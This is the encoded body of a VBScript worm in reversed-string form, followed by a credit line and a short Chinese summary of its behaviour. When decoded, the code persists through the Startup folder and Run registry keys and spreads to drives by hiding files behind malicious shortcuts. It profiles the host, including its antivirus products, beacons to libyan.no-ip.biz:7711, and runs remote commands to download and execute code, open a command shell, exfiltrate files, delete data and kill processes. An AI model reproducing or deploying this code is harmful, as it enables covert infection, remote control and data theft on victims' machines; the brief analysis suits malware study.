nur.jbollehs"&n&" neht )htaptrohs.trohsemanllufllatsni( esacl >< )htaptrohs.trohsemanlluftpircs( esacl fi"&n&")emanllatsni & ridllatsni( elifteg.jbometsyselif = trohsemanllufllatsni tes"&n&")emanlluftpircs.tpircsw( elifteg.jbometsyselif = trohsemanlluftpircs tes"&n&"tratspu"&n&"fI dne"&n&"fi dne"&n&""&xs&"ZS_GER"&xs&" ,gnidaerpsbsu ,"&xs&"\"&xs&" & )0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\erawtfos\ENIHCAM_LACOL_YEKH"&xs&" etirwger.jbollehs"&n&"etad & "&xs&" - eslaf"&xs&" = gnidaerpsbsu"&n&"esle"&n&""&xs&"ZS_GER"&xs&" ,gnidaerpsbsu ,"&xs&"\"&xs&" & )0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\erawtfos\ENIHCAM_LACOL_YEKH"&xs&" etirwger.jbollehs"&n&"etad"
zvn=zvn&" & "&xs&" - eurt"&xs&" = gnidaerpsbsu"&n&"neht )emanllatsni(esacl & "&xs&"\:"&xs&" = ))2,emanlluftpircs.tpircsw(dim ( esacl fi"&n&"neht "&xs&""&xs&" = gnidaerpsbsu fi"&n&")"&xs&"\"&xs&" & )0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\erawtfos\ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs = gnidaerpsbsu"&n&"txen emuser rorre no"&n&"ecnatsni noitcnuf"&n&"noitcnuf dne"&n&""&xs&"va-nan"&xs&" = ytiruces neht "&xs&""&xs&" = ytiruces fi"&n&"txen"&n&""&xs&". "&xs&" & emanyalpsid.surivitnajbo & ytiruces = ytiruces"&n&"surivitnaloc ni surivitnajbo hcae rof"&n&")0,"&xs&"lqw"&xs&","&xs&"tcudorpsurivitna morf * tceles"&xs&"(yreuqcexe.retnecytirucesjbo = surivitnaloc teS"&n&")cs & "&xs&"\toor\tsohlacol\:stmgmniw"&xs&"(tcejboteg = retnecytirucesjbo tes"&n&""&xs&"retnecytiruces"&xs&" = cs esle "&xs&"2retnecytiruces"&xs&" = cs neht 6 > noisrevso fi"&n&")noisrevso( lave = noisrevso"&n&"txen"&n&")i( rtsnoisrev & noisrevso = noisrevso "&n&")rtsnoisrev( dnuobu ot 1 = x rof"&n&""&xs&"."&xs&" & )0( rtsnoisrev = noisrevso"&n&")"&xs&"."&xs&",noisrev.smetiloc( tilps = rtsnoisrev"&n&"txen"&n&")"&xs&"."&xs&",noisrev.metijbo( tilps = rtsnoisrev"&n&"smetiloc ni metijbo hcae rof"&n&")84,,"&xs&"metsysgnitarepo_23niw morf * tceles"&xs&"(yreuqcexe.ecivresimwjbo = smetiloc tes"&n&")"&xs&"2vmic\toor\.\!}etanosrepmi=levelnoitanosrepmi{:stmgmniw"&xs&"(tcejboteg = ecivresimwjbo tes"&n&""&xs&""&xs&" = ytiruces"&n&"txen emuser rorre no"&n&" ytiruces noitcnuf"&n&"noitcnuf dne"&n&"txen"&n&"fi dne"&n&"rof tixe"&n&"rebmunlairesemulov.ksid = diwh"&n&"neht "&xs&""&xs&" >< rebmunlairesemulov.ksid fi"&n&"sksid ni ksid hcae rof"&n&")"&xs&"ksidlacigol_23niw morf * tceles"&xs&"( yreuqcexe.toor = sksid tes"&n&")"
zvn=zvn&""&xs&"2vmic\toor\.\!}etanosrepmi=levelnoitanosrepmi{:stmgmniw"&xs&"(tcejboteg = toor tes"&n&"txen emuser rorre no"&n&"diwh noitcnuf"&n&"bus dne"&n&"eurt, emanllatsni & putrats,emanlluftpircs.tpircsw elifypoc.jbometsyselif"&n&"eurt,emanllatsni & ridllatsni,emanlluftpircs.tpircsw elifypoc.jbometsyselif"&n&""&xs&"ZS_GER"&xs&" , )43(wrhc & emanllatsni & ridllatsni & )43(wrhc & "&xs&" B// exe.tpircsw"&xs&" ,)0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\nur\noisrevtnerruc\swodniw\tfosorcim\erawtfos\ENIHCAM_LACOL_YEKH"&xs&" etirwger.jbollehs"&n&""&xs&"ZS_GER"&xs&" , )43(wrhc & emanllatsni & ridllatsni & )43(wrhc & "&xs&" B// exe.tpircsw"&xs&" ,)0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\nur\noisrevtnerruc\swodniw\tfosorcim\erawtfos\RESU_TNERRUC_YEKH"&xs&" etirwger.jbollehs"&n&"txeN emuser rorre no"&n&")( tratspu bus"&n&"noitcnuf dne"&n&"fi dne"&n&"fni = noitamrofni"&n&"esle"&n&" fni = noitamrofni"&n&"gnidaerpsbsu & fni = fni"&n&"retilps & ytiruces & fni = fni"&n&"retilps & "&xs&"sulp"&xs&" & fni = fni"&n&"txen"&n&"rof tixe"&n&" retilps & noitpac.ofniso & fni = fni"&n&"so ni ofniso hcae rof"&n&")"&xs&"metsysgnitarepo_23niw morf * tceles"&xs&"( yreuqcexe.toor = so tes"&n&")"&xs&"2vmic\toor\.\!}etanosrepmi=levelnoitanosrepmi{:stmgmniw"&xs&"(tcejboteg = toor tes"&n&"retilps & )"&xs&"%emanresu%"&xs&"(sgnirtstnemnorivnednapxe.jbollehs & fni = fni"&n&" retilps & )"&xs&"%emanretupmoc%"&xs&"(sgnirtstnemnorivnednapxe.jbollehs & fni = fni"&n&" retilps & diwh = fni"&n&"neht "&xs&""&xs&" = fni fi"&n&"txen emuser rorre no"&n&"noitamrofni noitcnuf"&n&"noitcnuf dne"&n&"txetesnopser.jboptth ="
zvn=zvn&" tsop"&n&"marap dnes.jboptth"&n&"noitamrofni,"&xs&":tnega-resu"&xs&" redaehtseuqertes.jboptth"&n&"eslaf ,dmc & "&xs&"/"&xs&"& trop & "&xs&":"&xs&" & tsoh & "&xs&"//:ptth"&xs&","&xs&"tsop"&xs&" nepo.jboptth"&n&"marap = tsop"&n&")marap, dmc( tsop noitcnuf"&n&"bus dne"&n&"tiuq.tpircsw"&n&"txen"&n&"fi dne"&n&"fi dne"&n&"fi dne"&n&"txen"&n&"0 = setubirtta.redlof"&n&"sredlofbus.) "&xs&"\"&xs&" & htap.evird (redlofteg.jbometsyselif ni redlof hcae rof"&n&"txen"&n&"fi dne"&n&"fi dne"&n&" )htap.elif( elifeteled.jbometsyselif"&n&"esle"&n&"fI dne"&n&")eman.elif & "&xs&"\"&xs&" & htap.evird( elifeteled.jbometsyselif"&n&"esle"&n&") "&xs&"knl."&xs&" & )0(emanelif & "&xs&"\"&xs&" & htap.evird( elifeteled.jbometsyselif"&n&")"&xs&"."&xs&",eman.elif(tilps = emanelif"&n&"neht )emanllatsni( esacu >< )eman.elif( esacu fi"&n&"0 = setubirtta.elif"&n&"neht "&xs&"knl"&xs&" >< ))))"&xs&"."&xs&" ,eman.elif(tilps(dnuobu()"&xs&"."&xs&" ,eman.elif(tilps( esacl fi"&n&"neht )"&xs&"."&xs&",eman.elif( rtsni fi"&n&"txen emuser rorre no"&n&"selif.)"&xs&"\"&xs&" & htap.evird ( redlofteg.jbometsyselif ni elif hcae rof"&n&"neht 1 = epytevird.evird fi"&n&"neht 0 > ecapseerf.evird fi"&n&"neht eurt = ydaersi.evird fi"&n&"sevird.jbometsyselif ni evird hcae rof"&n&"eurt, emanlluftpircs.tpircsw elifeteled.jbometsyselif"&n&"eurt, emanllatsni & putrats elifeteled.jbometsyselif"&n&")0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\nur\noisrevtnerruc\swodniw\tfosorcim\erawtfos\ENIHCAM_LACOL_YEKH"&xs&" eteledger.jbollehs"&n&")0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"\nur\noisrevtnerruc\swodniw\tfosorcim\erawtfos\RESU_TNERRUC_YEKH"&xs&" eteledger.jbollehs"&n&"emanredlof mid"&n&"emanelif mid"&n&"txen e"
zvn=zvn&"muser rorre no"&n&"llatsninu bus"&n&"bus dne"&n&"raelc.rre"&n&"txen"&n&"fi dne"&n&"fI dne"&n&"fI dne"&n&"txen"&n&")(evas.jboknl"&n&"fi dne"&n&"nociredlof = noitacolnoci.jboknl"&n&" esle"&n&"htap.redlof = noitacolnoci.jboknl"&n&"neht 0 = )"&xs&","&xs&",nociredlof( rtsni fi"&n&" )"&xs&"\nocitluafed\redlof\sessalc\erawtfos\ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs = nociredlof"&n&""&xs&"tixe&"&xs&"& ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",eman.redlof(ecalper & "&xs&" rerolpxe trats&"&xs&" & ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",emanllatsni(ecalper & "&xs&" trats c/"&xs&" = stnemugra.jboknl"&n&""&xs&""&xs&" = yrotceridgnikrow.jboknl"&n&""&xs&"exe.dmc"&xs&" = htaptegrat.jboknl"&n&"7 = elytswodniw.jboknl"&n&" )"&xs&"knl."&xs&" & emanredlof & "&xs&"\"&xs&" & htap.evird( tuctrohsetaerc.jbollehs = jboknl tes"&n&"eman.redlof = emanredlof"&n&"4+2 = setubirtta.redlof"&n&"rof tixe neht redlofknl ton fi"&n&"sredlofbus.) "&xs&"\"&xs&" & htap.evird (redlofteg.jbometsyselif ni redlof hcae rof"&n&"txen"&n&"fi dne"&n&"fi dne"&n&"fi dne"&n&")(evas.jboknl"&n&"fi dne"&n&"nocielif = noitacolnoci.jboknl"&n&" esle"&n&"htap.elif = noitacolnoci.jboknl"&n&"neht 0 = )"&xs&","&xs&",nocielif( rtsni fi"&n&" )"&xs&"\nocitluafed\"&xs&" & )"&xs&"\"&xs&" &)))"&xs&"."&xs&" ,eman.elif(tilps(dnuobu()"&xs&"."&xs&" ,eman.elif(tilps & "&xs&".\sessalc\erawtfos\ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs & "&xs&"\sessalc\erawtfos\ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs = nocielif"&n&""&xs&"tixe&"&xs&"& ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",eman.elif(ecalper & "&xs&" trats&"&xs&" & ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",emanllatsni(ecalper & "&xs&" trats c/"&xs&" = stnemugra.jboknl"&n&""&xs&""&xs&" = yrotceridgnikrow.jboknl"&n&""&xs&"ex"
zvn=zvn&"e.dmc"&xs&" = htaptegrat.jboknl"&n&"7 = elytswodniw.jboknl"&n&" )"&xs&"knl."&xs&" & )0( emanelif & "&xs&"\"&xs&" & htap.evird( tuctrohsetaerc.jbollehs = jboknl tes"&n&")"&xs&"."&xs&",eman.elif(tilps = emanelif"&n&"neht )emanllatsni( esacu >< )eman.elif( esacu fi"&n&"4+2 = setubirtta.elif"&n&"neht "&xs&"knl"&xs&" >< ))))"&xs&"."&xs&" ,eman.elif(tilps(dnuobu( )"&xs&"."&xs&" ,eman.elif(tilps( esacl fi"&n&"neht )"&xs&"."&xs&",eman.elif( rtsni fi"&n&"rof tixe neht elifknl ton fi"&n&"seliF.) "&xs&"\"&xs&" & htap.evird (redlofteg.jbometsyselif ni elif hcae rof"&n&"fi dne"&n&"4+2 = setubirtta.)emanllatsni & "&xs&"\"&xs&" & htap.evird(elifteg.jbometsyselif"&n&"neht )emanllatsni & "&xs&"\"&xs&" & htap.evird( stsixeelif.jbometsyselif fi"&n&"eurt,emanllatsni & "&xs&"\"&xs&" & htap.evird , emanlluftpircs.tpircsw elifypoc.jbometsyselif"&n&"neht 1 = epytevird.evird fi"&n&"neht 0 > ecapseerf.evird fi"&n&"neht eurt = ydaersi.evird fi"&n&"sevird.jbometsyselif ni evird hcae rof"&n&"tratspu"&n&"nociredlof mid"&n&"nocielif mid"&n&"emanredlof mid"&n&"emanelif mid"&n&"jboknl mid"&n&"txen emuser rorre no"&n&"llatsni bus"&n&"dnew"&n&"peels peels.tpircsw"&n&"tceles dne"&n&" )marap( lave = peels"&n&")1( dmc = marap"&n&""&xs&"peels"&xs&" esac"&n&" )marap( ssecorptixe"&n&")1( dmc = marap"&n&""&xs&"ssecorp-tixe"&xs&" esac"&n&" )marap( fafeteled"&n&")1( dmc = marap"&n&""&xs&"eteled"&xs&" esac"&n&" )marap( llehsdmc,"&xs&"llehs-dmc-si"&xs&" tsop"&n&")1( dmc = marap"&n&""&xs&"llehs-dmc"&xs&" esac"&n&" ssecorpmune,"&xs&"ssecorp-mune-si"&xs&" tsop"&n&""&xs&"ssecorp-mune"&xs&" esac"&n&")marap( fafmune,"&xs&"faf-mune-si"&xs&" tsop"&n&")1( dmc = marap"&n&""&xs&"faf-mune"&xs&" esac"&n&" revirdmune,"&xs&"revir"
zvn=zvn&"d-mune-si"&xs&" tsop"&n&""&xs&"revird-mune"&xs&" esac"&n&")marap( daolpu"&n&")1( dmc = marap"&n&""&xs&"vcer"&xs&" esac"&n&")2( dmc,)1( dmc redaolnwodetis"&n&""&xs&"dnes-etis"&xs&" esac"&n&")2( dmc,)1( dmc daolnwod"&n&""&xs&"dnes"&xs&" esac"&n&"llatsninu"&n&""&xs&"llatsninu"&xs&" esac"&n&" tiuq.tpircsw"&n&")43(rhc & emanllatsni & ridllatsni & )43(rhc & "&xs&" B// exe.tpircsw"&xs&" nur.jbollehs"&n&"esolc.ecnoeno"&n&"marap etirw.ecnoeno"&n&")eslaf ,2, emanllatsni & ridllatsni( eliftxetnepo.jbometsyselif = ecnoeno tes"&n&"esolc.ecnoeno"&n&")1( dmc = marap"&n&""&xs&"etadpu"&xs&" esac"&n&"marap etucexe"&n&")1( dmc = marap"&n&""&xs&"etucecxe"&xs&" esac"&n&")0( dmc esac tceles"&n&")retilps,esnopser( tilps = dmc"&n&")"&xs&""&xs&","&xs&"ydaer-si"&xs&"( tsop = esnopser"&n&""&xs&""&xs&" = esnopser"&n&"llatsni"&n&"eurt elihw"&n&"ecnatsni"&n&"txen emuser rorre no"&n&"ecnoeno mid"&n&""&xs&""&xs&" = etadtrats"&n&""&xs&""&xs&" = gnidaerpsbsu"&n&""&xs&""&xs&" = ofni"&n&"marap mid"&n&"dmc mid"&n&"esnopser mid"&n&" 0005 = peels"&n&""&xs&">"&xs&" & "&xs&"|"&xs&" & "&xs&"<"&xs&" = retilps"&n&""&xs&"\"&xs&" & )"&xs&"%pmet%"&xs&"(sgnirtstnemnorivnednapxe.jbollehs = ridllatsni neht )ridllatsni(stsixeredlof.jbometsyselif ton fi"&n&""&xs&"\"&xs&" & )ridllatsni(sgnirtstnemnorivnednapxe.jbollehs = ridllatsni"&n&""&xs&"\"&xs&" & )"&xs&"putrats"&xs&"( sredloflaiceps.jbollehs = putrats"&n&"emantpircs.tpircsw = emanllatsni"&n&")"&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = jboptth tes"&n&"jboptth mid"&n&")"&xs&"tcejbometsyselif.gnitpircs"&xs&"(tcejboetaerc = jbometsyselif tes"&n&"jbometsyselif mid"&n&")"&xs&"llehs.tpircsw"&xs&"(tcejboetaerc.tpircsw = jbollehs tes"&n&" jbollehs mid"&n&"eurt = redlofknl"&n&"eurt = elifknl"&n&""&xs&"%pmet%"&xs&" = ridllatsni"&n&"7711 = trop"&n&""&xs&"zib.pi-on.naybil"&xs&" = tsoh"&n&"reDoCXdaME'"
for azcujbz=(((len)(zvn)))to(1)Step(-1)
ypqmwkll=(mid(zvn,azcujbz,1))
dnqeqvrrc_=(dnqeqvrrc_&ypqmwkll&szauuy_l_vr)
next
bnowmx=dnqeqvrrc_
End Function
Executeglobal(cstr(bnowmx()))
'EMadXCoDer,www.dev-point.com
代码将自身安装在用户的启动文件夹中，然后设置两个 运行 注册表项以在机器启动时执行脚本。当 运行 时，脚本开始一个永远执行的循环。每次通过循环它都会重新安装自己，然后打开一个到 libyan.no-ip.biz 的套接字并请求指令。响应指令可以是很多东西，包括让脚本发送驱动器上的信息或下载并执行任意代码。